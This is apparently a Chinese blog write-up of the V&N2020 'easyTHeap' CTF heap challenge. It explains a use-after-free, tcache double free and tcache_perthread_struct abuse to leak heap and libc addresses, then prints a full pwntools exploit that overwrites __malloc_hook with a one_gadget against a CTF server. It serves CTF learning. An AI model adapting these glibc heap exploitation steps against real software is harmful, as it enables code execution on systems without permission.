zoukankan      html  css  js  c++  java
  • [V&N2020 公开赛]easyTHeap

    安全检查

     程序流程:

    主要是free这里没有置为0

     漏洞分析:

    • 首先由于uaf漏洞,所以我们可以通过double free来获得堆地址,并且还可以直接通过edit来修改tache_pthread_struct这个结构体里的成员
    • 然后利用tache_pthread_struct修改所有成员的个数,再释放一个带有tache_pthread_struct的函数,再输出出来就可以获得main_arena
    • 之后接着劫持malloc_hook即可,不过这里劫持我还有点没搞懂,所以会放在再刷一遍系列里面

    EXP:

    from pwn import *
    
    #p=process('./vn_pwn_easyTHeap')
    p=remote('node3.buuoj.cn',29664)
    libc=ELF('./libc-2.27.so')
    def add(size):
        p.recvuntil('choice: ')
        p.sendline('1')
        p.recvuntil('size?')
        p.sendline(str(size))
    
    def edit(idx,content):
        p.recvuntil('choice: ')
        p.sendline('2')
        p.recvuntil('idx?')
        p.sendline(str(idx))
        p.recvuntil('content:')
        p.sendline(content)
    
    def show(idx):
        p.recvuntil('choice: ')
        p.sendline('3')
        p.recvuntil('idx?')
        p.sendline(str(idx))
    
    def delete(idx):
        p.recvuntil('choice: ')
        p.sendline('4')
        p.recvuntil('idx?')
        p.sendline(str(idx))
    
    add(0x50)#0
    delete(0)
    delete(0)
    
    show(0)
    thread_tache=u64(p.recv(6).ljust(8,'x00'))-0x250
    #try_entry=thread_tache+0x80
    
    add(0x50)#1
    edit(1,p64(thread_tache))
    add(0x50)#2
    add(0x50)#3
    
    edit(3,'a'*0x28)
    delete(3)
    show(3)
    libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3ebca0
    print hex(libc_base)
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    realloc=libc_base+libc.symbols['__libc_realloc']
    one=libc_base+0x4f322
    add(0x50)#4
    edit(4,'a'*0x48+p64(malloc_hook-0x13))
    
    
    add(0x20)#5
    print hex(one)
    edit(5,'x00'*(0x13-0x8)+p64(one)+p64(realloc+8))
    add(0x10)
    
    #print hex(thread_tache)
    #gdb.attach(p)
    
    p.interactive()

    总结:

    • 不知道为什么要这样劫持,这是最重要的一点,所以等我今天如果能看明白,就会单独看一篇博客记录下来,否则明天一定要写出阿里
    • 这道题一开始我以为是通过让其count成员溢出,然后泄露libc,但发现后面无法在前进了
  • 相关阅读:
    基于ARP的网络扫描工具netdiscover
    渗透测试集成环境Faraday
    NBNS扫描工具nbtscan-unixwiz
    分享Kali Linux 2017年第18周镜像文件
    Hat's Fibonacci
    N!
    A + B Problem II(大数加法)
    产生冠军(拓扑排序)
    确定比赛名次
    Legal or Not(模板题)
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14012831.html
Copyright © 2011-2022 走看看